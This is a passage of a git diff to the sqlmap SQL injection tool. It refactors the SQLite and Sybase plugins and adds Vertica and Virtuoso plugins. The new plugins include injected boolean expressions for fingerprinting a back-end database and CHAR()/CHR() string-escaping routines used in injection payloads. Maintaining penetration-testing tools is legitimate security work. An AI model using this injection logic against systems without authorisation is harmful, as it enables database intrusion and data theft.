logger.warn(warnMsg) + logger.warning(warnMsg) try: try: @@ -75,7 +75,7 @@ def fetchall(self): def execute(self, query): try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) except self.__sqlite.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) except self.__sqlite.DatabaseError as ex: diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 1af810a884d..18df65145e8 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,48 +10,47 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) - def isDba(self): + def isDba(self, user=None): warnMsg = "on SQLite the current user has all privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) + + return True def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SQLite it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] @@ -61,4 +60,10 @@ def searchColumn(self): def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on SQLite it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 190a7be8d9d..ad1bc2622d4 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 9fc3dcc3ec3..5a2d7f159c6 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -46,8 +46,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -84,14 +86,14 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) - result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") + result = inject.checkBooleanExpression("RANDOMBLOB(-1) IS NOT NULL") version = '3' if result else '2' Backend.setVersion(version) @@ -102,7 +104,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index ec6470aadf3..62a9379fa50 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,41 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import binascii - -from lib.core.common import isDBMSVersionAtLeast -from lib.core.settings import UNICODE_ENCODING +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> from lib.core.common import Backend - >>> Backend.setVersion('2') - ['2'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT 'abcdefgh' FROM foobar" - >>> Backend.setVersion('3') - ['3'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT CAST(X'6162636465666768' AS TEXT) FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97,98,99,100,101,102,103,104) FROM foobar" + True """ def escaper(value): - # Reference: http://stackoverflow.com/questions/3444335/how-do-i-quote-a-utf-8-string-literal-in-sqlite3 - return "CAST(X'%s' AS TEXT)" % binascii.hexlify(value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value) - - retVal = expression - - if isDBMSVersionAtLeast('3'): - retVal = Syntax._escape(expression, quote, escaper) + return "CHAR(%s)" % ','.join("%d" % _ for _ in getOrds(value)) - return retVal + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 8ec1c8466ea..1ed29162e6f 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 20d74b76516..02b471b1636 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.SYBASE] = Syntax.escape diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 5007d2c9246..aed2d79e393 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ import logging from lib.core.common import getSafeExString -from lib.core.convert import utf8encode +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -34,9 +34,6 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() @@ -61,7 +58,7 @@ def execute(self, query): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 6010bd4c284..afc4bba1a78 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,11 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re + from lib.core.common import filterPairValues +from lib.core.common import isListLike from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming @@ -26,11 +29,10 @@ from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six +from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) @@ -48,16 +50,16 @@ def getUsers(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedUsers = retVal[0].values()[0] + kb.data.cachedUsers = list(retVal[0].values())[0] break return kb.data.cachedUsers - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() @@ -103,7 +105,7 @@ def getDbs(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedDbs = retVal[0].values()[0] + kb.data.cachedDbs = next(six.itervalues(retVal[0])) break if kb.data.cachedDbs: @@ -131,7 +133,7 @@ def getTables(self, bruteForce=None): dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -147,7 +149,7 @@ def getTables(self, bruteForce=None): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - for table in retVal[0].values()[0]: + for table in next(six.itervalues(retVal[0])): if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: @@ -167,7 +169,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -185,7 +187,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList = [] if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -196,9 +198,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " @@ -281,8 +283,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod table = {} columns = {} - for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): - columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) + for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): + columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table @@ -293,26 +295,32 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Sybase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 51fc0884257..0a3e73bf7b4 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Sybase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index c88b22d045d..64b66ba4268 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -47,8 +48,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -83,7 +86,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -112,6 +115,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 9b8f1e7fdd4..53f0bea1bc1 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+TO_UNICHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True """ def escaper(value): - return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "TO_UNICHAR", ord(value[i])) for i in xrange(len(value))) + return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "TO_UNICHAR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index ab518e6c947..ccc94f21e20 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py new file mode 100644 index 00000000000..2d0f69528e0 --- /dev/null +++ b/plugins/dbms/vertica/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VERTICA_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.vertica.enumeration import Enumeration +from plugins.dbms.vertica.filesystem import Filesystem +from plugins.dbms.vertica.fingerprint import Fingerprint +from plugins.dbms.vertica.syntax import Syntax +from plugins.dbms.vertica.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Vertica methods + """ + + def __init__(self): + self.excludeDbsList = VERTICA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VERTICA] = Syntax.escape diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py new file mode 100644 index 00000000000..bfce0ce645d --- /dev/null +++ b/plugins/dbms/vertica/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import vertica_python +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/vertica/vertica-python + User guide: https://github.com/vertica/vertica-python/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) + except vertica_python.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except vertica_python.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except vertica_python.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py new file mode 100644 index 00000000000..49ead488f66 --- /dev/null +++ b/plugins/dbms/vertica/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getRoles(self, *args, **kwargs): + warnMsg = "on Vertica it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/vertica/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py new file mode 100644 index 00000000000..a98238041b1 --- /dev/null +++ b/plugins/dbms/vertica/fingerprint.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VERTICA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VERTICA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VERTICA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): + setDbms(DBMS.VERTICA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.VERTICA + logger.info(infoMsg) + + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VERTICA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.VERTICA) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.VERTICA + logger.info(infoMsg) + + if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): + Backend.setVersion(">= 9.0") + else: + Backend.setVersion("< 9.0") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py new file mode 100644 index 00000000000..556a0273c22 --- /dev/null +++ b/plugins/dbms/vertica/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ + + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py new file mode 100644 index 00000000000..93c3dbd3ea9 --- /dev/null +++ b/plugins/dbms/vertica/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py new file mode 100644 index 00000000000..07f68d2ce62 --- /dev/null +++ b/plugins/dbms/virtuoso/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VIRTUOSO_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.virtuoso.enumeration import Enumeration +from plugins.dbms.virtuoso.filesystem import Filesystem +from plugins.dbms.virtuoso.fingerprint import Fingerprint +from plugins.dbms.virtuoso.syntax import Syntax +from plugins.dbms.virtuoso.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VirtuosoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Virtuoso methods + """ + + def __init__(self): + self.excludeDbsList = VIRTUOSO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VIRTUOSO] = Syntax.escape diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py new file mode 100644 index 00000000000..e2980734d7f --- /dev/null +++ b/plugins/dbms/virtuoso/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Virtuoso it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py new file mode 100644 index 00000000000..25443703c0f --- /dev/null +++ b/plugins/dbms/virtuoso/enumeration.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Virtuoso it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def 